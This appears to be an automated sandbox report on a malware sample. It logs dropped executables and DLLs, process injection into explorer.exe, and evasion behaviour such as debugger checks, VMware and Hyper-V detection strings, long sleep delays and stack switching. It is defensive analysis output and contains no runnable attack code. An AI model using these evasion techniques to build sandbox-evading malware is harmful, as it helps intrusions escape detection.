Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	API/Special instruction interceptor: Address: 6BE07C44
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	API/Special instruction interceptor: Address: 6C547C44
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	API/Special instruction interceptor: Address: 6C547945
Source: C:\Windows\SysWOW64\cmd.exe	API/Special instruction interceptor: Address: 6C543B54
Source: C:\Windows\SysWOW64\explorer.exe	API/Special instruction interceptor: Address: 91A317

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1592	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1701	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5018	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4834	Jump to behavior

Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\UltraChrome\python27.dll	Jump to dropped file
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Dropped PE file which has not been started: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\python27.dll	Jump to dropped file
Source: C:\Windows\System32\mshta.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\Headerfrontend[1]	Jump to dropped file
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\UltraChrome\msvcr90.dll	Jump to dropped file
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Dropped PE file which has not been started: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\msvcr90.dll	Jump to dropped file
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Dropped PE file which has not been started: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\Gloom.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ryuvnp	Jump to dropped file

Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Evaded block: after key decision
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Evaded block: after key decision

Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe

Evasive API call chain: GetLocalTime,DecisionNodes

Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	API coverage: 10.0 %
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	API coverage: 0.3 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6312	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4124	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6964	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe TID: 1732	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 6520	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 6576	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009DFEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 05h and CTI: je 009DFF61h	16_2_009DFEC6
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009DFEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 01h and CTI: je 009DFF5Ah	16_2_009DFEC6
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0026FEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 05h and CTI: je 0026FF61h	17_2_0026FEC6
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0026FEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 01h and CTI: je 0026FF5Ah	17_2_0026FEC6

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009A3CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,	16_2_009A3CC4
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009E4440 FindFirstFileW,FindClose,	16_2_009E4440
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009B9B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose,	16_2_009B9B43
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00274440 FindFirstFileW,FindClose,	17_2_00274440
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00249B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose,	17_2_00249B43
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00233CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,	17_2_00233CC4

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009E97A5 VirtualQuery,GetSystemInfo,

16_2_009E97A5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Thread delayed: delay time: 30000

Source: pyexec.exe, 00000013.00000002.2349529322.0000000008735000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: mshta.exe, 00000004.00000002.2245517191.000001C8462ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2245031576.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2236314114.000001C8462ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2228118175.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2218602445.000001C8462ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2998640070.000001EFFC459000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2997288458.000001EFFAC2B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570257382.00000000033A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570985206.00000000033CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570985206.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572182630.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWHW2
Source: powershell.exe, 00000006.00000002.2205028532.000001EF78369000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.S%SystemRoot%\system32\mswsock.dll-
Source: explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: powershell.exe, 00000006.00000002.2205028532.000001EF78382000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NECVMWar&Prod_VMware
Source: mshta.exe, 00000004.00000003.2228118175.000001C846251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846250000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2245031576.000001C846251000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: pyexec.exe, 00000013.00000002.2349529322.0000000008735000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mvmware

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009CE88A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

16_2_009CE88A

Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe

Code function: 17_2_10042400 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

17_2_10042400

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009D48D8 mov eax, dword ptr fs:[00000030h]		16_2_009D48D8
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_002648D8 mov eax, dword ptr fs:[00000030h]		17_2_002648D8

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009A394F GetProcessHeap,RtlAllocateHeap,

16_2_009A394F

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009CE3D8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_009CE3D8
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009CE88A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_009CE88A
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009CE9DC SetUnhandledExceptionFilter,	16_2_009CE9DC
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009D3C76 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_009D3C76
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0025E3D8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_0025E3D8
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0025E88A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_0025E88A
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0025E9DC SetUnhandledExceptionFilter,	17_2_0025E9DC
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00263C76 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00263C76
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1003D60A SetUnhandledExceptionFilter,	17_2_1003D60A
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1003D61C SetUnhandledExceptionFilter,	17_2_1003D61C
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_004030A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	18_2_004030A8
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_00402CAD SetUnhandledExceptionFilter,	18_2_00402CAD
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_6C258908 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	18_2_6C258908

